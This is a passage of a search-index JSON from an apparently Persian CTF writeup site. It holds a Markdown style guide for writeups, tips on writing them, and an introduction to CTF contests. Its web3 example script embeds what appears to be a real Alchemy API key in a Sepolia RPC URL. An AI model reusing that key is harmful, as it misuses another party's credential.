","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_11","title":"\u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0645\u0633\u062a\u0642\u06cc\u0645 \u06a9\u062f \u062f\u0631 \u0635\u0641\u062d\u0647:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown simple.py
import math\n\nfor i in range(10):\n    print(f\"\u0633\u0644\u0627\u0645 \u062f\u0646\u06cc\u0627\")\n    p = 2**(i+1)\n    n = 3*p\n    print(f\"{n = }\")\nelse:\n    print(\"Done!\")\n
    ```python title=\"simple.py\" linenums=\"1\" hl_lines=\"5 6 7\"\n    import math\n\n    for i in range(10):\n        print(f\"\u0633\u0644\u0627\u0645 \u062f\u0646\u06cc\u0627\")\n        p = 2**(i+1)\n        n = 3*p\n        print(f\"{n = }\")\n    else:\n        print(\"Done!\")\n    ```\n

\u0628\u062f\u0648\u0646 \u0634\u0645\u0627\u0631\u0647 \u062e\u0637 \u0648 \u0647\u0627\u06cc\u0644\u0627\u062a \u06a9\u0631\u062f\u0646 \u062e\u0637\u0648\u0637

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
print(\"Hello world!\")\nn=1\nfor i in range(10): \n    p = 2**(i+1)\n    n = 3*n\nprint(n)\n
    ```py\n    print(\"Hello world!\")\n    n=1\n    for i in range(10):\n        p = 2**(i+1)\n        n = 3*n\n    print(n)\n    ```\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_12","title":"\u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u06a9\u062f \u0628\u0631\u0646\u0627\u0645\u0647 \u0627\u0632 \u062e\u0627\u0631\u062c \u0635\u0641\u062d\u0647","text":"

\u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0639\u0644\u0627\u0645\u062a # \u0631\u0627 \u0627\u0632 \u0642\u0633\u0645\u062a \u0622\u062f\u0631\u0633\u200c\u062f\u0647\u06cc \u062f\u0631 \u0641\u0631\u0645\u062a markdown \u062d\u0630\u0641 \u06a9\u0646\u06cc\u062f. \u0645\u0627 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u062c\u0647\u062a \u0646\u0645\u0627\u06cc\u0634 \u0622\u062f\u0631\u0633\u200c\u062f\u0647\u06cc \u0622\u0646 \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0627\u06cc\u0645.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown main.py
from web3 import Web3\nimport json\n\nsetupContract = \"0x1AC90AFd478F30f2D617b3Cb76ee00Dd73A9E4d3\"\nurl = \"https://eth-sepolia.g.alchemy.com/v2/SMfUKiFXRNaIsjRSccFuYCq8Q3QJgks8\"\nprovider = Web3(Web3.HTTPProvider(url))\n\nwith open(\"setup.json\") as f:       #json file with the contract ABI\n    setup_json = json.load(f)\n\nsetup = provider.eth.contract(address=setupContract, abi = setup_json)\n\nprint(setup.functions.enterVenue().call())\n
    ```py title=\"main.py\"\n    #--8<-- \"docs/getStarted/main.py\"\n    ```\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_13","title":"\u0646\u0645\u0627\u06cc\u0634 \u062c\u062f\u0648\u0644","text":"

\u062f\u0631 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u062c\u062f\u0648\u0644 \u0645\u0627\u0646\u0646\u062f \u0646\u0645\u0648\u0646\u0647 \u0632\u06cc\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0628\u0631\u0627\u06cc \u0633\u0627\u062e\u062a \u062c\u062f\u0648\u0644 \u0628\u0647 \u0634\u0645\u0627 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0633\u0639\u06cc \u06a9\u0646\u06cc\u062f \u062c\u062f\u0648\u0644 \u0631\u0627 \u0628\u0627 \u062a\u06af center \u0648\u0633\u0637\u200c\u0686\u06cc\u0646 \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

Right Left Default Center Method \u062a\u0627\u06cc\u06cc\u062f\u06cc\u0647 12 12 12 12 GET 123 123 123 123 PUT 1 1 1 1 DELETE

    <center>\n\n    | Right | Left | Default | Center | Method  |       \u062a\u0627\u06cc\u06cc\u062f\u06cc\u0647       |\n    |------:|:-----|---------|:------:|:-------:|:--------------------:|\n    |   12  |  12  |    12   |    12  | `GET`   | :material-check:     |\n    |  123  |  123 |   123   |   123  | `PUT`   | :material-check-all: |\n    |    1  |    1 |     1   |     1  | `DELETE`| :material-close:     |\n\n    </center>     \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_14","title":"\u0646\u0645\u0627\u06cc\u0634 \u062a\u0635\u0627\u0648\u06cc\u0631","text":"

\u062a\u0635\u0627\u0648\u06cc\u0631 \u0631\u0627 \u0646\u06cc\u0632 \u0645\u0627\u0646\u0646\u062f \u062c\u062f\u0648\u0644 \u062f\u0631 \u062a\u06af center \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f \u062a\u0627 \u0647\u0646\u06af\u0627\u0645 \u0646\u0645\u0627\u06cc\u0634 \u0648\u0633\u0637\u200c\u0686\u06cc\u0646 \u0628\u0627\u0634\u062f \u062a\u0648\u062c\u0647 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f \u06a9\u0647 \u0641\u0627\u06cc\u0644 \u062a\u0635\u0648\u06cc\u0631 \u062e\u0648\u062f \u0631\u0627 \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0641\u0627\u06cc\u0644 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 (md.*) \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

<center>\n![FlagMotori](/logo_template.png)\n</center>\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_15","title":"\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0645\u0648\u062c\u06cc","text":"

\u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0627 \u062a\u0627\u06cc\u067e \u06a9\u0631\u062f\u0646 \u0646\u0627\u0645 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0628\u06cc\u0646 \u062f\u0648 \u0639\u0644\u0627\u0645\u062a \u062f\u0648 \u0646\u0642\u0637\u0647 (:EMOJICODE:) \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0627 \u0628\u0647 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0627\u0636\u0627\u0641\u0647 \u06a9\u0646\u06cc\u062f. \u0646\u0627\u0645 \u0627\u06cc\u0646 \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627 \u0628\u0631\u0627\u0633\u0627\u0633 \u0627\u06cc\u0645\u0648\u062c\u06cc\u200c\u0647\u0627\u06cc \u0645\u062a\u0646 \u0628\u0627\u0632 \u062a\u0648\u06cc\u06cc\u062a\u0631 Twemoji \u0627\u0633\u062a.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

:smile:\n:triangular_flag_on_post:\n:writing_hand: \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_16","title":"\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0646\u0648\u0627\u0639 \u0644\u06cc\u0633\u062a","text":"

\u06af\u0627\u0647\u06cc \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0646\u0648\u0634\u062a\u0647 \u062e\u0648\u062f \u0646\u06cc\u0627\u0632 \u0628\u0647 \u0644\u06cc\u0633\u062a \u06a9\u0631\u062f\u0646 \u0628\u0631\u062e\u06cc \u0627\u0632 \u0646\u06a9\u0627\u062a \u06cc\u0627 \u06a9\u0627\u0631\u0647\u0627 \u0631\u0627 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u062f. \u0627\u06cc\u0646 \u0644\u06cc\u0633\u062a\u200c\u0647\u0627 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u062a\u0631\u062a\u06cc\u0628\u06cc\u060c \u063a\u06cc\u0631\u062a\u0631\u062a\u06cc\u0628\u06cc \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u062f\u0648 \u0645\u062f\u0644 \u0628\u0627\u0634\u0646\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0633\u0647 \u0646\u0648\u0639 \u0646\u0645\u0627\u06cc\u0634 \u0644\u06cc\u0633\u062a \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0641\u0631\u0645\u062a Markdown \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f \u0631\u0627 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u06cc\u0645.

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_17","title":"\u0644\u06cc\u0633\u062a \u062a\u0631\u062a\u06cc\u0628\u06cc:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
  1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9
    1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9
    2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648
      1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u06cc\u06a9
      2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u062f\u0648
  2. \u0634\u0645\u0627\u0631\u0647 \u062f\u0648
    1.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9\n        1.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9\n        2.  \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648\n            1. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u06cc\u06a9 \n            2. \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u062f\u0648 \u062f\u0648  \n    2.  \u0634\u0645\u0627\u0631\u0647 \u062f\u0648\n        - \u0627\u0648\u0644 \n        - \u062f\u0648\u0645\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_18","title":"\u0644\u06cc\u0633\u062a \u063a\u06cc\u0631\u062a\u0631\u062a\u06cc\u0628\u06cc:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
    - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9\n        - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9\n            - \u0634\u0645\u0627\u0631\u0647 \u06cc\u06a9 \u06cc\u06a9 \u06cc\u06a9\n    - \u0634\u0645\u0627\u0631\u0647 \u062f\u0648\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_19","title":"\u0644\u06cc\u0633\u062a \u0648\u0638\u0627\u06cc\u0641:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
    - [x] \u0648\u0638\u06cc\u0641\u0647 \u06cc\u06a9 \u0627\u0646\u062c\u0627\u0645 \u0634\u062f\u0647\n    - [ ]  \u0648\u0637\u06cc\u0641\u0647 \u062f\u0648 \u06a9\u0627\u0645\u0644 \u0627\u0646\u062c\u0627\u0645 \u0646\u0634\u062f\u0647\n        * [x] \u0648\u0638\u06cc\u0641\u0647 \u062f\u0648 \u0627\u0648\u0644 \n        * [ ] \u0648\u0638\u06cc\u0641\u0647 \u062f\u0648 \u062f\u0648\n    - [ ] \u0648\u0638\u06cc\u0641\u0647 \u0633\u0647\n

\u0627\u06cc\u0646 \u062a\u0646\u0647\u0627 \u0628\u062e\u0634\u06cc \u0627\u0632 \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0641\u0631\u0645\u062a \u0646\u0648\u0634\u062a\u0627\u0631\u06cc md \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u060c \u0627\u06af\u0631\u0686\u0647 \u0645\u0648\u0627\u0631\u062f \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634 \u06cc\u06a9 \u0631\u0627\u06cc\u062a\u0627\u067e \u06a9\u0627\u0641\u06cc \u0627\u0633\u062a \u0627\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0631\u0627\u06cc \u062c\u0632\u0626\u06cc\u0627\u062a \u0628\u06cc\u0634\u062a\u0631 \u062f\u0631 \u0645\u0648\u0631\u062f \u0627\u06cc\u0646 \u0641\u0631\u0645\u062a \u0628\u0647 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0633\u0631 \u0628\u0632\u0646\u06cc\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

\u062a\u06cc\u0645 FlagMotori

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/writing-method/","title":"\u0646\u06af\u0627\u0631\u0634 \u0631\u0627\u06cc\u062a\u0627\u067e","text":"

\u0634\u0627\u06cc\u062f \u0628\u0631\u0627\u06cc \u0634\u0645\u0627 \u0633\u0648\u0627\u0644 \u0634\u0648\u062f \u06a9\u0647 writeup \u0686\u06cc\u0633\u062a \u0648 \u0646\u0648\u0634\u062a\u0646 \u0622\u0646 \u0686\u0647 \u062a\u0627\u062b\u06cc\u0631\u06cc \u062e\u0648\u0627\u0647\u062f \u062f\u0627\u0634\u062a. writeup \u06cc\u0627 \u0645\u0639\u0627\u062f\u0644 \u0641\u0627\u0631\u0633\u06cc \u0622\u0646 \"\u0646\u06af\u0627\u0634\u062a\u0647 \u06cc\u0627 \u0646\u0648\u0634\u062a\u0647\" \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u060c \u06af\u0632\u0627\u0631\u0634\u06cc \u0627\u0632 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0645\u0633\u0626\u0644\u0647 \u0627\u0633\u062a \u06a9\u0647 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u06af\u0627\u0645 \u0628\u0647 \u06af\u0627\u0645 \u0631\u0648\u06cc\u062f\u0627\u062f\u0647\u0627 \u0648 \u0622\u0632\u0645\u0627\u06cc\u0634\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0631\u0627\u06cc \u062d\u0644 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0628\u06cc\u0627\u0646 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06cc\u0646 \u06af\u0632\u0627\u0631\u0634 \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u06a9\u0647 \u06a9\u0645\u06a9 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0628\u0647 \u062e\u0648\u0627\u0646\u0646\u062f\u06af\u0627\u0646 \u0648 \u0627\u0641\u0632\u0627\u06cc\u0634 \u062a\u062c\u0631\u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u062f\u0631 \u062d\u0644 \u0645\u0633\u0627\u0626\u0644 \u062c\u062f\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0639\u062b \u0627\u0641\u0632\u0627\u06cc\u0634 \u062f\u0631\u06a9 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0627\u0632 \u0622\u0646 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0632 \u0634\u0648\u062f.

\u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0646\u06a9\u0627\u062a \u0646\u06af\u0627\u0631\u0634\u06cc \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u0633\u0637 \u062a\u06cc\u0645 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u06cc\u06a9 \u0634\u06a9\u0644\u060c \u0645\u0646\u0638\u0645 \u0648 \u0627\u0633\u062a\u0627\u0646\u062f\u0627\u0631\u062f \u0627\u0631\u0627\u0626\u0647 \u0634\u0648\u0646\u062f. \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634\u060c \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0641\u0631\u0645\u062a \u0627\u06cc\u062c\u0627\u062f \u0645\u062a\u0646 Markdown \u06cc\u0627 \u0628\u0647 \u0627\u062e\u062a\u0635\u0627\u0631 md \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f \u06a9\u0647 \u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634 \u062f\u0631 \u0627\u06cc\u0646 \u0641\u0631\u0645\u062a \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0639\u0646\u0627\u0635\u0631 \u0622\u0646 \u0648 \u0645\u062b\u0627\u0644 \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a. \u0627\u0644\u0628\u062a\u0647 \u0628\u0627 \u062e\u0648\u0627\u0646\u062f\u0646 \u0686\u0646\u062f \u0631\u0627\u06cc\u062a\u0627\u067e \u0642\u0627\u0644\u0628 \u0646\u0648\u0634\u062a\u0627\u0631\u06cc \u0645\u0646\u0627\u0633\u0628 \u0631\u0627 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u0627\u0647\u06cc\u062f \u0634\u062f. \u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u06a9\u0647 \u0645\u0648\u0627\u0631\u062f \u0632\u06cc\u0631 \u0631\u0627 \u062f\u0631 \u0647\u0646\u06af\u0627\u0645 \u0646\u06af\u0627\u0631\u0634 \u0646\u0648\u0634\u062a\u0647\u200c\u06cc \u062e\u0648\u062f \u0644\u062d\u0627\u0638 \u06a9\u0646\u06cc\u062f:

~~~~~~ primes \u060cFactorization \u060cRSA \u060cCrypto \u060cASIS-2023 \u060cASIS-CTF

","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown"]},{"location":"getStarted/CTF-introduction/","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0628\u0627 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 (CTF)","text":"

\u0645\u0637\u0627\u0644\u0639\u0647 \u0648 \u062a\u062d\u0642\u06cc\u0642 \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u0628\u0631\u0627\u06cc \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u06a9\u0633\u0628 \u0645\u0647\u0627\u0631\u062a \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u06af\u0627\u0647\u06cc \u062e\u0633\u062a\u0647\u200c \u06a9\u0646\u0646\u062f\u0647 \u0628\u0627\u0634\u062f. \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0627 \u06cc\u06a9\u06cc \u0627\u0632 \u0647\u06cc\u062c\u0627\u0646\u06cc\u200c\u062a\u0631\u06cc\u0646 \u0631\u0648\u0634\u200c\u0647\u0627\u06cc \u06a9\u0633\u0628 \u062f\u0627\u0646\u0634 \u062f\u0631 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u0648 \u0647\u06a9 \u06cc\u0639\u0646\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0622\u0634\u0646\u0627 \u0645\u06cc\u200c\u0634\u0648\u06cc\u0645. \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0641\u062a\u062d \u067e\u0631\u0686\u0645 (Capture the Flag) \u06cc\u0627 \u0628\u0647 \u0627\u062e\u062a\u0635\u0627\u0631 CTF\u060c \u06cc\u06a9\u06cc \u0627\u0632 \u062c\u0630\u0627\u0628\u200c\u062a\u0631\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0645\u0647\u0627\u0631\u062a\u06cc\u060c \u062a\u0645\u0631\u06cc\u0646\u06cc \u0648 \u00ab\u0631\u0627\u06cc\u06af\u0627\u0646\u00bb \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0622\u0646 \u0634\u0631\u06a9\u062a\u200c\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u062a\u0644\u0627\u0634 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06cc\u06a9 \u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u06cc \u0628\u0647 \u0646\u0627\u0645 \u067e\u0631\u0686\u0645 (Flag) \u0645\u0627\u0646\u0646\u062f \u0632\u06cc\u0631 \u06a9\u0647 \u0628\u0647 \u0634\u06a9\u0644 \u0647\u062f\u0641\u0645\u0646\u062f \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u06cc\u0627 \u0633\u0631\u0648\u06cc\u0633\u200c\u0647\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u067e\u0646\u0647\u0627\u0646 \u0634\u062f\u0647 \u0628\u062f\u0633\u062a \u0622\u0648\u0631\u0646\u062f.

Motori{CTF_c0nte5ts_4r3_br4in_7ra1n3r}\n

\u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0627\u0632 \u0628\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0632\u0634\u06cc \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0644\u0647\u0627\u0645 \u06af\u0631\u0641\u062a\u0647 \u0634\u062f\u0647 \u0648 \u0645\u0639\u0645\u0648\u0644\u0627 \u062f\u0631 \u06cc\u06a9 \u0628\u0627\u0632\u0647 \u0632\u0645\u0627\u0646\u06cc \u06f2\u06f4 \u062a\u0627 \u06f4\u06f8 \u0633\u0627\u0639\u062a \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0634\u0631\u06a9\u062a\u200c\u0647\u0627 \u0648 \u062f\u0627\u0646\u0634\u06af\u0627\u0647\u200c\u0647\u0627 \u0628\u0627 \u0647\u062f\u0641 \u06a9\u0634\u0641\u060c \u067e\u0631\u0648\u0631\u0634 \u0648 \u062c\u0630\u0628 \u0627\u0641\u0631\u0627\u062f \u0628\u0627 \u0627\u0633\u062a\u0639\u062f\u0627\u062f \u06cc\u0627 \u062e\u0628\u0631\u0647 \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a\u060c \u062d\u0627\u0645\u06cc\u0627\u0646 \u0648 \u0628\u0631\u06af\u0632\u0627\u0631\u06a9\u0646\u0646\u062f\u06af\u0627\u0646 \u0627\u0635\u0644\u06cc \u0627\u06cc\u0646 \u0631\u0648\u06cc\u062f\u0627\u062f \u0631\u0627 \u062a\u0634\u06a9\u06cc\u0644 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0627\u063a\u0644\u0628 \u062c\u0648\u0627\u06cc\u0632\u06cc \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0628\u0631\u0646\u062f\u06af\u0627\u0646 \u0622\u0646 \u062f\u0631 \u0646\u0638\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u0646\u062f. \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0627\u06cc\u0646\u060c \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u0645\u0633\u062a\u0642\u0644\u06cc \u0645\u0627\u0646\u0646\u062f \u062c\u0627\u0645\u0639\u0647\u200c\u06cc \u0647\u06a9\u0631\u0647\u0627 \u0648 \u062f\u0627\u0646\u0634\u062c\u0648\u06cc\u0627\u0646 \u0646\u06cc\u0632 \u0628\u0631\u0627\u06cc \u0627\u06cc\u062c\u0627\u062f \u0631\u0642\u0627\u0628\u062a \u0648 \u06cc\u06a9 \u0633\u0631\u06af\u0631\u0645\u06cc \u0647\u06cc\u062c\u0627\u0646\u200c\u0627\u0646\u06af\u06cc\u0632\u060c \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0631\u0627 \u0628\u0631\u06af\u0632\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f.

","tags":["\u0645\u0642\u062f\u0645\u0647","\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","CTF"]},{"location":"getStarted/CTF-introduction/#ctf_1","title":"\u0645\u0631\u0648\u0631\u06cc \u0628\u0631 \u062a\u0627\u0631\u06cc\u062e\u0686\u0647 CTF","text":"

